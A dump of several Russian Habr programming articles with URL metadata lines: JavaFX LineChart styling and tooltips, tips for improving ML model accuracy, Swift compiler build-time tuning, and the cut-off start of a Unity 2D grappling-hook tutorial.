Text[text=«3,00», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
Text[text=«3,25», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
NumberAxis@5a503aa1[styleClass=axis]
Label@63297d6d[styleClass=label axis-label]''
Text[text="", x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL\_VERTICAL\_CENTER, font=Font[name=System Regular, family=System, style=Regular, size=13.0], fontSmoothingType=LCD, fill=0x333333ff]
Path[elements=[MoveTo[x=21.0, y=319.0], LineTo[x=29.0, y=319.0], MoveTo[x=21.0, y=284.0], LineTo[x=29.0, y=284.0], MoveTo[x=21.0, y=248.0], LineTo[x=29.0, y=248.0], MoveTo[x=21.0, y=213.0], LineTo[x=29.0, y=213.0], MoveTo[x=21.0, y=177.0], LineTo[x=29.0, y=177.0], MoveTo[x=21.0, y=142.0], LineTo[x=29.0, y=142.0], MoveTo[x=21.0, y=106.0], LineTo[x=29.0, y=106.0], MoveTo[x=21.0, y=71.0], LineTo[x=29.0, y=71.0], MoveTo[x=21.0, y=35.0], LineTo[x=29.0, y=35.0], MoveTo[x=21.0, y=0.0], LineTo[x=29.0, y=0.0]], fill=null, fillRule=NON\_ZERO, stroke=0xc3c3c3ff, strokeWidth=1.0]
Path[elements=[MoveTo[x=24.0, y=312.0], LineTo[x=28.0, y=312.0], MoveTo[x=24.0, y=305.0], LineTo[x=28.0, y=305.0], MoveTo[x=24.0, y=298.0], LineTo[x=28.0, y=298.0], MoveTo[x=24.0, y=291.0], LineTo[x=28.0, y=291.0], MoveTo[x=24.0, y=276.0], LineTo[x=28.0, y=276.0], MoveTo[x=24.0, y=269.0], LineTo[x=28.0, y=269.0], MoveTo[x=24.0, y=262.0], LineTo[x=28.0, y=262.0], MoveTo[x=24.0, y=255.0], LineTo[x=28.0, y=255.0], MoveTo[x=24.0, y=248.0], LineTo[x=28.0, y=248.0], MoveTo[x=24.0, y=241.0], LineTo[x=28.0, y=241.0], MoveTo[x=24.0, y=234.0], LineTo[x=28.0, y=234.0], MoveTo[x=24.0, y=227.0], LineTo[x=28.0, y=227.0], MoveTo[x=24.0, y=220.0], LineTo[x=28.0, y=220.0], MoveTo[x=24.0, y=206.0], LineTo[x=28.0, y=206.0], MoveTo[x=24.0, y=198.0], LineTo[x=28.0, y=198.0], MoveTo[x=24.0, y=191.0], LineTo[x=28.0, y=191.0], MoveTo[x=24.0, y=184.0], LineTo[x=28.0, y=184.0], MoveTo[x=24.0, y=170.0], LineTo[x=28.0, y=170.0], MoveTo[x=24.0, y=163.0], LineTo[x=28.0, y=163.0], MoveTo[x=24.0, y=156.0], LineTo[x=28.0, y=156.0], MoveTo[x=24.0, y=149.0], LineTo[x=28.0, y=149.0], MoveTo[x=24.0, y=135.0], LineTo[x=28.0, y=135.0], MoveTo[x=24.0, y=128.0], LineTo[x=28.0, y=128.0], MoveTo[x=24.0, y=121.0], LineTo[x=28.0, y=121.0], MoveTo[x=24.0, y=113.0], LineTo[x=28.0, y=113.0], MoveTo[x=24.0, y=99.0], LineTo[x=28.0, y=99.0], MoveTo[x=24.0, y=92.0], LineTo[x=28.0, y=92.0], MoveTo[x=24.0, y=85.0], LineTo[x=28.0, y=85.0], MoveTo[x=24.0, y=78.0], LineTo[x=28.0, y=78.0], MoveTo[x=24.0, y=64.0], LineTo[x=28.0, y=64.0], MoveTo[x=24.0, y=57.0], LineTo[x=28.0, y=57.0], MoveTo[x=24.0, y=50.0], LineTo[x=28.0, y=50.0], MoveTo[x=24.0, y=43.0], LineTo[x=28.0, y=43.0], MoveTo[x=24.0, y=28.0], LineTo[x=28.0, y=28.0], MoveTo[x=24.0, y=21.0], LineTo[x=28.0, y=21.0], MoveTo[x=24.0, y=14.0], LineTo[x=28.0, y=14.0], MoveTo[x=24.0, y=7.0], LineTo[x=28.0, y=7.0], MoveTo[x=24.0, y=0.0], LineTo[x=28.0, y=0.0]], fill=null, fillRule=NON\_ZERO, stroke=0xc3c3c3ff, strokeWidth=1.0]
Text[text=«0,0», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
Text[text=«0,5», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
Text[text=«1,0», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
Text[text=«1,5», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
Text[text=«2,0», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
Text[text=«2,5», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
Text[text=«3,0», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
Text[text=«3,5», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
Text[text=«4,0», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
Text[text=«4,5», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
Legend@74020b4b[styleClass=chart-legend]
Label@1d725e97[styleClass=label chart-legend-item]'Temp1'
Region@15f4872[styleClass=chart-legend-item-symbol chart-line-symbol series0 default-color0]
Text[text=«Temp1», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL\_VERTICAL\_CENTER, font=Font[name=System Regular, family=System, style=Regular, size=13.0], fontSmoothingType=LCD, fill=0x333333ff]
И проанализировав результат, можно легко понять, из каких компонентов состоит LineChart:
Поскольку своей целью я поставил замену всех узлов графика на картинку и создание всплывающих сообщений над каждом из них, то мне нужна часть, в которой находятся узлы.
##### Замена кружков на картинки
В обычном JavaFX, узлы графика представляются кружками с пустой серединой. Что бы узнать, как они создаются, мне пришлось немного полазить по коду LineChart (спасибо Oracle за открытые сырцы) и получил такой фрагмент кода:
```
private Node createSymbol(Series series, int seriesIndex, final Data item, int itemIndex) {
Node symbol = item.getNode();
// check if symbol has already been created
if (symbol == null && getCreateSymbols()) {
symbol = new StackPane();
item.setNode(symbol);
}
// set symbol styles
if (symbol != null) symbol.getStyleClass().addAll("chart-line-symbol", "series" + seriesIndex,
"data" + itemIndex, series.defaultColorStyleClass);
return symbol;
}
```
Получается, узел представляет собой обычную панель, которая настроилась через CSS. Найдем CSS код, который используется для настройки узла (находится в /com/sun/javafx/scene/control/skin/caspian/caspian.css):
```
.chart-line-symbol {
-fx-background-color: #f9d900, white;
-fx-background-insets: 0, 2;
-fx-background-radius: 5px;
-fx-padding: 5px;
}
```
То есть, для изменение, достаточно переопеределить класс *chart-line-symbol*.
Создадим такой CSS файл:
```
.chart-line-symbol {
-fx-background-image: url(%путь к картинке%);
}
```
И добавим этот файл к графику:
```
VBox vBox = new VBox();
LineChart chart = new LineChart(new NumberAxis(), new NumberAxis());
chart.getStylesheets().add(Main.class.getResource("Путь к css файлу").toExternalForm());
chart.getData().add(new XYChart.Series<>("Temp1", FXCollections.observableArrayList(new XYChart.Data(1, 1), new XYChart.Data(2, 2), new XYChart.Data(3, 4))));
vBox.getChildren().add(chart);
primaryStage.setScene(new Scene(vBox));
primaryStage.show();
((XYChart.Series) chart.getData().get(0)).getData().addAll(new XYChart.Data<>(5, 5));
```
Полученный результат можно увидеть на первой картинке.
##### Всплывающие подсказки в узлах
Эту фичу добавить несколько сложнее, так как при помощи CSS это не получится.
Вернемся к той части кода, где в LineChart создавался символ:
```
private Node createSymbol(Series series, int seriesIndex, final Data item, int itemIndex) {
Node symbol = item.getNode();
// check if symbol has already been created
if (symbol == null && getCreateSymbols()) {
symbol = new StackPane();
item.setNode(symbol);
}
// set symbol styles
if (symbol != null) symbol.getStyleClass().addAll("chart-line-symbol", "series" + seriesIndex,
"data" + itemIndex, series.defaultColorStyleClass);
return symbol;
}
```
Как можно заметить, дальше символ хранится в объекте Data, который задает точку графика.
То есть, можно просто пройтись по всем точкам в Series и для всех установить всплывающие подсказки:
```
ObservableList dataList = ((XYChart.Series) chart.getData().get(0)).getData();
dataList.forEach(data->{
Node node = data.getNode();
Tooltip tooltip = new Tooltip('('+data.getXValue().toString()+';'+data.getYValue().toString()+')');
Tooltip.install(node, tooltip);
});
```
После запуска наведите на узел графика и увидите результат.
#### Заключение
Надеюсь, у меня получилось показать способы настроек компонентов в JavaFX и их модификацию. Разумеется, тем, что я представил, возможности не ограничиваются. В частности, можно сделать модификацию LineChart ([как поступил я](https://github.com/SirEdvin/AnjiLibrary/blob/master/src%2Fcom%2Fdarkempire%2Fanjifx%2Fscene%2Fchart%2FAnjiLineChart.java)), в которой можно будет динамически менять цвета, и которая будет добавлять всплывающие подсказки. Можно менять вид фона, сетки, осей и подписей. Вообщем, настраивать как душе угодно. Главное — помнить, что статические настройки необходимо выносить в CSS, а всю динамику, к несчастью, в код. | https://habr.com/ru/post/242009/ | null | ru | null |
# Как увеличить точность модели с 80% до 90%+ (мой опыт)
Привет, чемпион! Возможно, перед тобой сейчас стоит задача построить предиктивную модель, или ты просто фармишь Kaggle, и тебе не хватает идей, тогда эта статья будет тебе полезна!
Наверное, уже только ленивый не слышал про Data Science и то, как модели машинного обучения помогают прогнозировать будущее, но самое крутое в анализе данных, на мой взгляд, - это хакатоны! Будь-то Kaggle или локальные соревнования, везде примерно одна задача - получить точность выше, чем у других оппонентов (в идеале еще пригодную для продакшена модель). И тут возникает проблема...
С одной стороны, все используемые модели давно известны и реализованы, с другой стороны, находятся победители, которым удается реализовать решение, которое на тех же библиотеках и на тех же данных дает наилучших скор. Вот как они это делают? Как лидеры вырываются вперед? В чем магия? - Что ж, сейчас я поделюсь с вами несколькими трюками, как можно выжать максимум из данных и ваших моделей.
Работа с данными
----------------
Опустим банальные вещи типа нормировки численных значений или кодирование категориальных переменных, а сразу перейдем к обсуждению чистки данных.
В данных почти всегда будут "грязь" и пропуски. Грамотная обработка этих проблем может сильно продвинуть вас в построении качественной модели.
Начать стоит с заполнения численных значений средним или медианой, а если говорим про категориальные переменные, то заполняем их пропуски самыми популярными значениями. Для этого уже есть готовые элементы из Sklearn, например `SimpleImputer.`
Более умный способ - посмотреть на данные пристальным взглядом и попытаться понять природу пропусков. Приведу два примера из личного опыта:
**Классификация временных рядов** - три идея для рассмотрения - 1) Заполнить пропуски средним значением двух соседних точек слева или справа. 2) Попытаться дорисовать ряд, исходя из направления тренда ряда 3) Дорисовать, смотря на похожие образцы (тут поможет `KNNImputer).`
Как видно из рисунка, классическое заполнение пропусков средним - это не самое оптимальное решение.
Еще один пример из моего опыта - [**кредитный скоринг**](https://github.com/a-milenkin/MKB_hack) - у пользователей в данных было много пропусков, очень помогло: 1) посмотреть на этих пользователей в какой-то момент времени в прошлом. Здесь я заметил, что есть переменные, которые почти не меняются во времени, например, род деятельности. Такие пропуски можно заменить значениями из прошлого. 2) Также обнаружил, что крупная часть пользователей не имеет никаких признаков кроме id самого пользователя и id контракта. Тут ничего с пропусками не сделаешь, но зато мы это заметили! Эту информацию можно будет использовать при генерации новых признаков.
Генерация признаков (Feature Engineering)
-----------------------------------------
Мой любимый пункт по увеличению точности модели, так как здесь понимаешь, что анализ данных это не просто наука, это иногда искусство. Разберем этот пункт на примере задачи классификации. Чтобы облегчить жизнь вашей модели и позволить ей лучше решать эту задачу, вам стоит генерировать признаки так, чтобы они позволяли разделить ваши объекты на классы.
Вот пример.
На рисунке цвет временного ряда отражает его класс. Как видите, помимо сырых данных можно добавить новые признаки, позволяющие проще классифицировать объекты.
На рисунке цвет временного ряда отражает его класс. Как видите, помимо использования сырых данных, новые признаки позволяют проще классифицировать временные ряды.
Выбор модели
------------
Хорошо, вот вы почистили и сгенерировали новые признаки ~~дэйта на взводе~~. Что теперь? Втыкаем линейную регрессию и залетаем в топ лидерборда? - В крайне редком случае это так, и линейные модели дают лучший скор, но как показывает практика, на табличных данных лучше всего "стреляют" градиентные бустинги.
Вам пригодятся три из них: [**Catboost**](https://catboost.ai/en/docs/concepts/tutorials), [**LightGMB**](https://lightgbm.readthedocs.io/en/latest/Python-Intro.html) и [**Xgboost**](https://xgboost.readthedocs.io/en/stable/). Каждый из этих бустингов имеет под капотом свой собственный алгоритм построения дерева решений. Интернет завален примерами и тьюториалами по этим алгоритмам, поэтому просто скажу - используйте! Один только сatboost из коробки дает такой бейзлайн, что придется еще постараться, чтобы побить его. Вот пример моего кода с использованием [catboost](https://github.com/a-milenkin/MKB_hack). Стоит взять и попробовать ~~самый любимый~~ каждый из них в вашей задаче.
***Замечание****: успех выбора модели сильно зависит от данных и ваших навыков тюнить эти модели. Об этом позже сделаю отдельную статью, но это неточно.*
Тюнинг моделей - model tuning
-----------------------------
Хорошо, у нас в обойме готовые данные и заряженный бустинг, но точность все равно пока еще оставляет желать лучшего?! Не беда - время для "танцев с бубном"!
Делом в том, что не достаточно просто взять модель и накинуть ее на имеющиеся данные, если ваша цель - оказаться в лидерах турнирной таблицы. Чтобы поднять скор, необходимо погрузиться в данные еще глубже, а также основательно поработать с гиперпараметрами модели.
В подборе гиперпараметров модели всегда есть рабочее решение: втыкаем [GridSearch](https://scikit-learn.org/stable/modules/generated/sklearn.model_selection.GridSearchCV), а лучше [Optuna](https://optuna.org/) и ждем час другой, пока не подберутся оптимальные параметры. Однако, изучение данных и признаков - задача более трудная.
### Отбор признаков - feature selection
Если в ваших данных есть несвязанные с целевой переменной признаки, то, с большой вероятностью, вы получите менее точный результат. И это случится независимо от используемой модели машинного обучения. Чтобы избежать потери точности, необходимо откинуть все ненужные признаки, но как это сделать?
Пройдусь кратко по списку подходов, с помощью которых можно почистить признаки:
[**Корреляция Пирсона**](https://pythobyte.com/calculating-pearson-correlation-coefficient-in-python-with-numpy-c7357af3/) - классический способ, который, однако, чувствителен к шуму и подходит только для задачи регрессии или бинарной классификации.
[**Feature Importance**](https://scikit-learn.org/stable/auto_examples/ensemble/plot_forest_importances.html) - удобный и понятный подход, но деревья часто извлекают зависимости там, где их нет. Метод можно усилить, сопоставив исследуемый признак с рандомным. Все признаки, которые оказались менее важными, чем Random, рассматриваем в качестве "кандидатов" на удаление.
[**Permutation Importance**](https://scikit-learn.org/stable/modules/permutation_importance.html) - один из моих фаворитов, но из предостережений - может долго считаться и требует внимательности, чтоб не подсмотреть в тест.
[**OLS модель + отсев по p-value**](https://www.statsmodels.org/dev/generated/statsmodels.regression.linear_model.OLS.html) - must have, если вы строите интерпретируемую модель и хотите качественно отфильтровать весь мусор.
[**Визуальный осмотр**](https://t.me/datafeeling/43) - вот это уже мой настоящий фаворит. Если время и размер признаков позволяют изучить каждый по отдельности, то такой способ позволит рассудить шумные признаки, которые предыдущие методы решили отсеять.
**Понижение размерности** - если совсем лень возиться с шумом в данных, то просто понижаем размерность с помощью [PCA](https://scikit-learn.org/stable/modules/generated/sklearn.decomposition.PCA.html), [UMAP](https://umap-learn.readthedocs.io/en/latest/basic_usage.html) или [t-SNA](https://scikit-learn.org/stable/modules/generated/sklearn.manifold.TSNE.html). Точность вряд ли подрастёт, но так модели будут обучаться пободрее.
Итоги:
------
Мы разобрали несколько способов увеличения точности модели. Конечно, это только малый список подходов. В реале существуют сотни других трюков и хитростей, как еще можно увеличить точность моделей. Если вам интересно узнать больше о таких трюках, то я публикую подобные идеи в своем [канале](https://t.me/datafeeling/). Более того, в моих планах - продолжать делиться секретами успешных кейсов из собственной практики на Хабре - ждите!
[Канал в телеграм](https://t.me/datafeeling) | https://habr.com/ru/post/598991/ | null | ru | null |
# Тюнинг Swift компилятора. Часть 2
Продолжение исследования способов ускорить компиляцию Swift. Издевательство над семантическим анализатором и неожиданные настройки проекта.
[Ссылка на первую часть](https://habrahabr.ru/post/316986/) для тех, кто пропустил.
### Вступление
Доброго времени суток, господа разработчики. Хочу поблагодарить всех не обошедших стороной прошлый пост, было крайне приятно получить обратную связь. Надеюсь, эта статья вам понравится не меньше. Без долгих прелюдий скажу: сегодня не будет анализа быстродействия различных операндов типа guard и if-else, не будет скучной погони за нано-секундами в цикле на 100 000 итераций. У нас нашлось кое-что поинтереснее.
### Старый баг лучше новых двух
Apple, я все починил, оно снова собирается 12 часов!
Шучу, просто неправильно указан тип. Там не массив, а словарь. Тем не менее, компилятор впадает в ярость от таких фокусов. Это плохой показатель, но в конце концов мы сами ошиблись.
Исправим ошибку. Поставим Dictionary вместо Array.
~~Кто выключил свет?~~ Ошибка сегментации, подсветка погасла, компилятор заглох. С такими симптомами у нас крешится type-checker свифта, который никак не сможет сообразить какой ключ-значение мы от него ждем. Зайдя в отчет от сборке, мы видим stacktrace, который нам об этом говорит:
Хорошо. Что это нам дает и как это можно использовать? Чтобы ответить на этот вопрос придется загрузить вас немного теорией:
Компилятор Swift состоит из нескольких модулей:
* **Парсер**
Парсит код в удобное для последующего разбора представление ([AST](https://ru.wikipedia.org/wiki/%D0%90%D0%B1%D1%81%D1%82%D1%80%D0%B0%D0%BA%D1%82%D0%BD%D0%BE%D0%B5_%D1%81%D0%B8%D0%BD%D1%82%D0%B0%D0%BA%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%BE)). Это нужно, чтобы написанную вами кашу сделать читаемой для семантического анализатора.
* **Семантический анализ**
Разбирает полученное представление, делает его type-safe(!) AST каким-то особым яблочным колдунством.
* **SIL Generator**
Занимается генерацией промежуточного кода Swift и его оптимизацией. Промежуточный код — это код уже не понятный человеку, но еще не понятный машине. Зато в самый раз для компилятора.
* **LLVM IR Generation**.
Генерирует промежуточный код для самого LLVM, который нам всем наверняка знаком.
* **LLVM**
Создает непосредственно object файлы.
Графически эта последовательность выглядит так:
Не спешите гуглить каждый термин, нам нужно всего лишь получить представление, что Swift компилятор состоит из модулей.
[@Johan](https://habrahabr.ru/users/Johan/) в [комментарии](https://habrahabr.ru/post/316986/#comment_9950322) к прошлой статье верно предположил, что проблема связана с выводом типов. А это задача как раз семантического анализатора. Все тормоза, которые мы наблюдали в прошлой статье, относятся именно к нему.
Итак, мы выяснили, что Swift болезненно воспринимает кастование типов. Теперь, когда мы знаем откуда ноги растут, давайте воспользуемся этим и явно укажем формат нашего словаря:
```
let myCompany: [String: [String: [String: String]]] = [
"employees": [
"employee 1": ["attribute": "value"],
"employee 2": ["attribute": "value"],
"employee 3": ["attribute": "value"],
"employee 4": ["attribute": "value"],
"employee 5": ["attribute": "value"],
"employee 6": ["attribute": "value"],
"employee 7": ["attribute": "value"],
"employee 8": ["attribute": "value"],
"employee 9": ["attribute": "value"],
"employee 10": ["attribute": "value"],
"employee 11": ["attribute": "value"],
"employee 12": ["attribute": "value"],
"employee 13": ["attribute": "value"],
"employee 14": ["attribute": "value"],
"employee 15": ["attribute": "value"],
"employee 16": ["attribute": "value"],
"employee 17": ["attribute": "value"],
"employee 18": ["attribute": "value"],
"employee 19": ["attribute": "value"],
"employee 20": ["attribute": "value"],
]
]
```
**Время компиляции**: 30 мс. Было 90 мс. Ускорение в три раза.
Успех. Делаем вывод, что лучше всегда **явно указывать типы**, а не полагаться на смекалку компилятора. Кстати, есть и обратная сторона. Если неправильно проставить тип, то пройдет много времени, прежде чем компилятор поймет куда вы его послали ¯\\_(ツ)\_/¯
Еще может возникнуть вопрос, есть ли разница между литералом и явным указанием Dictionary/Array класса? Скажу сразу — это одно и тоже, на время компиляции и выполнения это никак не влияет. Но для читаемости рекомендую использовать именно литерал.
**Немного веселого кода**
Так как вложенные словари в Swift являются optional, то можно получить следующую пунктуацию:
```
var myCompany: [String: [String: String]?] = [
"employees": [ "attribute" : "value"]
]
let Почему = myCompany["employees"]
print(Почему?!)
```
И это компилируется.
### Еще больше скорости
Есть стереотип, что включение оптимизации замедляет сборку. Однако, если почитать [документацию компилятора](https://swift.org/blog/whole-module-optimizations/), то выясняется обратное.
По умолчанию, компилятор собирает индивидуально каждый файл. Если открыть лог сборки при дефолтных настройках, то будет видно отчет по каждому Swift файлу в отдельности:
В настройках оптимизации есть такой флаг как whole-module-optimization. При этом флаге компилятор рассматривает проект как единое целое, целиком видит все имеющиеся функции и экономит на лишних кастованиях типов.
В случаи компиляции с этим флагом сборка всех Swift классов объединяется в одну операцию:
Давайте теперь сравним быстродействие. Возьмем некий абстрактный [тестовый проект](https://github.com/Kilograpp/Mattermost-iOS-Swift). Пусть это будет одно из Open Source творений нашей компании. Он не отличается чистотой кода и гениальностью решений, что нам и нужно.
Соберем сначала без оптимизации:
**Время компиляции**: 84 секунды.
Теперь включим whole-module-optimization:
**Время компиляции**: 52 секунды. Выигрыш 40%!
Естественно, на производительности это тоже положительно отражается. По моему личному опыту, это дает ~10% прирост к общему быстродействию.
Как обычно, стоит задаться вопросом: "В чем подвох?". Когда запускаешь приложение и паркуешься на брейкпоинт, то дебаггер нам сообщает следующее:
Шрифтом брайля: "Project was compiled with optimization — stepping may behave oddly; variables may not be available."
Перевод: "Проект был собран с оптимизациями — шаги в отладке могут вести себя странно; некоторые переменные могут отсутствовать".
Речь о том, что при оптимизации удаляются неиспользуемые переменные и мертвый код, поэтому могут возникать странные провалы в отладке. Действительно, часто случаются ситуации с внезапно пропадающими переменными или нежеланием дебаггера останавливаться на брейкпоинте.
Во всем виноват параметр 'Fast', который неизменно идет с whole-module-optimization в настройках оптимизации Xcode. Нужно от него избавляться. Вернем оптимизацию на 'None', но теперь попробуем включить WMO через настройки проекта.
Для этого нам достаточно добавить флаг **SWIFT\_WHOLE\_MODULE\_OPTIMIZATION=YES** в user-defined-settings.
Чтобы это сделать нужно зайти в build settings проекта и выбрать плюс на верхней панели. В выпавшем меню жмем на user-defined settings и прописываем значение обычной строкой:
Результат:
**Время компиляции**: 19 секунд. Изначально было 1.5 минуты.
Скорость сборки значительно подпрыгнула и предупреждение во время отладки пропало. Тем не менее, полномодульная оптимизация накладывает определенные ограничения. Например, нельзя использовать флаг 'HEADERMAP\_USES\_VFS'(подсказал [GxocT](https://habr.com/ru/users/gxoct/)), который решает вопрос с инкрементальной компиляцией в некоторых случаях. Впрочем, по быстродействию то на то и выходит.
**Вывод**: whole-module-optimization значительно ускоряет процесс компиляции, если вы не используете свои несовместимые с ним флаги.
**Бонус**
На правах шутки.
В комментариях к прошлой статье писали, что у Swift есть инкрементальная компиляция.
Для эксперимента предварительно собрал проект и добавил в существующий метод один единственный print. Вот что из этого получилось:
У кого нет возможности посмотреть: 50 секунд сборка с нуля, 45 секунд инкрементальная.
Если верить [stackoverflow](http://stackoverflow.com/a/40601822/1092100), то в Xcode 8.2 эти проблемы будут исправлены. К сожалению, у меня проект на beta версии не собирается. Так что будем ждать официального релиза.
---
На этом вторую часть подытожим. В ней мы выяснили основную причину торможения компилятора, нашли флаги оптимизатора для ускорения сборки, а так же наблюдали несовершенство инкрементальной компиляции в Swift.
В следующей статье рассмотрим способы починить инкрементальную компиляцию и общие способы ускорить проект.
Благодарности:
[GrimMaple](https://habr.com/ru/users/grimmaple/) — за консультации по строению компилятора и помощь в подборе формулировок. | https://habr.com/ru/post/317298/ | null | ru | null |
# Создание крюка-кошки в Unity. Часть 1
Крюки-кошки добавляют в игру забавные и интересные механики. Можно использовать их для перемещения по уровням, боёв на аренах и получения предметов. Но несмотря на кажущуюся простоту, физика управления верёвками и создание реалистичного поведения может оказаться сложной задачей!
В первой части этого туториала мы реализуем собственную двухмерную систему крюка-кошки и научимся следующему:
* Создавать систему прицеливания.
* Использовать рендер линии и distance joint для создания верёвки.
* Научим верёвку оборачиваться вокруг игровых объектов.
* Вычислять угол качания на верёвке и добавлять силу в этом направлении.
> *Примечание*: этот туториал предназначен для продвинутых и опытных пользователей, и в нём не рассматриваются такие темы, как добавление компонентов, создание новых скриптов GameObject и синтаксис C#. Если вам нужно повысить навыки владения Unity, то изучите наши туториалы [Getting Started with Unity](https://www.raywenderlich.com/147687/introduction-unity-getting-started-part-12) и [Introduction to Unity Scripting](https://www.raywenderlich.com/127672/introduction-unity-scripting). Так как в этом туториале используется *DistanceJoint2D*, то стоит также просмотреть [Physics Joints in Unity 2D](https://www.raywenderlich.com/87370/physics-joints-in-unity-2d), и уже потом вернуться к этому туториалу.
Приступаем к работе
-------------------
Скачайте [заготовку проекта](https://koenig-media.raywenderlich.com/uploads/2017/09/2DGrapplingHook-Part1-Starter-1.zip) для этого туториала, а затем откройте его в редакторе Unity. Для работы необходима версия Unity 2017.1 или выше.
Откройте сцену *Game* из папки *Scenes* и посмотрите, с чего мы начнём:
Пока у нас есть простой персонаж игрока (слизняк) и висящие в воздухе камни.
Важными компонентами GameObject *Player* пока являются capsule collider и rigidbody, которые позволяют ему взаимодействовать с физическими объектами на уровне. Также к персонажу прикреплён простой скрипт движения (*PlayerMovement*), позволяющий ему скользить по земле и выполнять простые прыжки.
Нажмите на кнопку *Play*, чтобы запустить игру, и попробуйте управлять персонажем. *A* и *D* перемещают его влево/вправо, а при нажатии на *пробел* он совершает прыжок. Постарайтесь не соскользнуть и не упасть со скалы, иначе погибнете!
Основы управления у нас уже есть, но самой большой проблемой сейчас является отсутствие крюков-кошек.
Создание крюков и верёвки
-------------------------
Поначалу система крюков-кошек кажется довольно простой, но для её качественной реализации необходимо учитывать множество аспектов. Вот некоторые из требований, предъявляемых к двухмерной механике крюков-кошек:
* Line Renderer для отображения верёвки. Когда верёвка оборачивается вокруг объектов, мы можем добавлять больше сегментов к line renderer и располагать вершины в точках, соответствующих изломам верёвки.
* DistanceJoint2D. Его можно использовать для прикрепления текущей опорной точки (anchor point) крюка-кошки, чтобы наш слизняк мог раскачиваться. Также он позволяет нам настраивать расстояние, которое можно использовать для удлинения и уменьшения верёвки.
* Дочерний GameObject с RigidBody2D, который можно перемещать в зависимости от текущего местоположения опорной точки крюка. По сути, он будет подвесом/опорной точкой верёвки.
* Raycast для выбрасывания крюка и прикрепления к объектам.
Выберите в Hierarchy объект *Player* и добавьте к нему новый дочерний GameObject с названием *RopeHingeAnchor*. Этот GameObject будет использоваться для позиционирования подвеса/опорной точки крюка-кошки.
Добавьте к *RopeHingeAnchor* компоненты *SpriteRenderer* и *RigidBody2D*.
Для SpriteRenderer задайте, чтобы свойство *Sprite* использовало значение *UISprite* и измените *Order in Layer* на *2*. Отключите компонент, *сняв флажок* рядом с его названием.
Для компонента *RigidBody2D* задайте свойству Body Type значение *Kinematic*. Эта точка будет перемещаться не физическим движком, а кодом.
Выберите слой *Rope* и задайте для значений масштаба по X и Y компонента Transform величину *4*.
Снова выберите *Player* и прикрепите новый компонент *DistanceJoint2D*.
Перетащите *RopeHingeAnchor* из Hierarchy на свойство *Connected Rigid Body* компонента *DistanceJoint2D* и отключите *Auto Configure Distance*.
Создайте новый скрипт C# с названием *RopeSystem* в папке проекта *Scripts* и откройте его в редакторе кода.
Удалите метод `Update`.
В верхней части скрипта внутри объявления класса `RopeSystem` добавьте новые переменные, метод `Awake()` и новый метод `Update`:
```
// 1
public GameObject ropeHingeAnchor;
public DistanceJoint2D ropeJoint;
public Transform crosshair;
public SpriteRenderer crosshairSprite;
public PlayerMovement playerMovement;
private bool ropeAttached;
private Vector2 playerPosition;
private Rigidbody2D ropeHingeAnchorRb;
private SpriteRenderer ropeHingeAnchorSprite;
void Awake()
{
// 2
ropeJoint.enabled = false;
playerPosition = transform.position;
ropeHingeAnchorRb = ropeHingeAnchor.GetComponent();
ropeHingeAnchorSprite = ropeHingeAnchor.GetComponent();
}
void Update()
{
// 3
var worldMousePosition =
Camera.main.ScreenToWorldPoint(new Vector3(Input.mousePosition.x, Input.mousePosition.y, 0f));
var facingDirection = worldMousePosition - transform.position;
var aimAngle = Mathf.Atan2(facingDirection.y, facingDirection.x);
if (aimAngle < 0f)
{
aimAngle = Mathf.PI \* 2 + aimAngle;
}
// 4
var aimDirection = Quaternion.Euler(0, 0, aimAngle \* Mathf.Rad2Deg) \* Vector2.right;
// 5
playerPosition = transform.position;
// 6
if (!ropeAttached)
{
}
else
{
}
}
```
Разберём каждую часть по порядку:
1. Мы используем эти переменные для отслеживания различных компонентов, с которыми будет взаимодействовать скрипт RopeSystem.
2. Метод `Awake` запускается в начале игры и отключает `ropeJoint` (компонент DistanceJoint2D). Также он присваивает `playerPosition` значение текущего положения Player.
